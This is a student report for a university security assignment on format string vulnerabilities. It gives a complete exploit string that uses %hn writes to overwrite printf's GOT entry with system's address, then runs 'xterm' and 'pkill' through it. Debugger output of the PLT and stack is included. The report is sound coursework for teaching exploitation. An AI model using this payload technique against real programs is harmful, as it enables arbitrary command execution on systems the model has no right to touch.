Report
CS6570 Assignment 4 - Format String Vulnerabilities

CS18B040 R Raghu Raman
CS18B050 Aniswar Srivatsa Krishnan

March 16, 2021

1 Format String

- Let us assume the address of system is `0xf7e41950`
- Our format string has 3 lines as follows:
  1. `"\x0c\x30\xbc\x05" + "\x0e\x30\xbc\x05" + "%6472x" + "%7$hn" + "%56980x" + "%8$hn".`
     - This line is responsible for changing the GOT entry for `printf@plt` to point to the function `system` (address `0xf7e41950`).
     - In order to avoid printing huge strings we use the format specifier `%hn`.
     - The GOT entry for printf is present at the address `0x05bc300c` (refer the figure), which means that the address if the lower halfword is `0x05bc300c` and the higher halfword is `0x05bc300e`. These addresses are loaded as part of the buffer.
     - The lower halfword of system's address is `0x1950 = 6480` and the upper halfword is `0xf7e4 = 63640`.
     - After printing 8 characters we use the `%6472x` specifier to print a total of `6480` characters to the stream. These will be written to the lower halfword of the GOT entry using the `%7$hn` format specifier. This is because the location of the buffer was observed to be at the location of the 7^{th} argument of `printf` (refer the figure).
     - Similarly we use the `%56980x` specifier to print a total of `63640` characters to the stream and write it to the upper halfword of the GOT entry using the `%8$hn` format specifier.
     - The GOT entry has been successfully modified now and hence any subsequent call to `printf@plt` will be diverted to `system`.
  2. `"xterm"`
     - In the next iteration, `fgets` will take input into the buffer.
     - This will set the argument of the `system` to the string `xterm`, which is the terminal which we want to open.
     - The next call to `printf` successfully opens the terminal
  3. `"pkill -f CS18B040_CS18B050"`
     - The parent program runs in an infinite loop. It will continue to run even when we have exited `xterm`. Hence we kill that process to terminate the program.

2 Note

The `system` address is different for different machines. Therefore we have given a python script which takes an argument the `system` address and generates the exploit string. Please run the script as `python3 CS18B040_CS18B050.py <system address>` where where `<system address>` is the address of the system function in your system in standard hexadecimal notation, e.g., `0xf7e41950`. The name of the exploit string generated is `CS18B040_CS18B050.exp`

3 Printf@PLT

```
05bc1330 <printf@plt>:
 5bc1330:   ff 25 0c 30 bc 05       jmp    *0x5bc300c
 5bc1336:   68 00 00 00 00          push   $0x0
 5bc133b:   e9 e0 ff ff ff          jmp    5bc1320 <.plt>
```

Figure 1: printf@plt function

4 Stack

```
──────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcbfc │+0x0000: 0x05bc14b6  →  <main+75> add esp, 0x10       ←$esp
0xffffcc00 │+0x0004: 0xffffcc1c  →  0x05bc300c  →  0xf7e0e340  →  <printf+0> endbr32
0xffffcc04 │+0x0008: 0x00000100
0xffffcc08 │+0x000c: 0xf7fa5580  →  0xfbad2088
0xffffcc0c │+0x0010: 0xf7fcb1a0  →  0xf7dba000  →  0x464c457f
0xffffcc10 │+0x0014: 0xffffcc64  →  0x00000000
0xffffcc14 │+0x0018: 0xffffcc60  →  0x00000000
0xffffcc18 │+0x001c: 0x00000003
0xffffcc1c │+0x0020: 0x05bc300c  →  0xf7e0e340  →  <printf+0> endbr32
0xffffcc20 │+0x0024: 0x05bc300e  →  0x9e10f7e0
```

Figure 2: Stack Contents at the starting of printf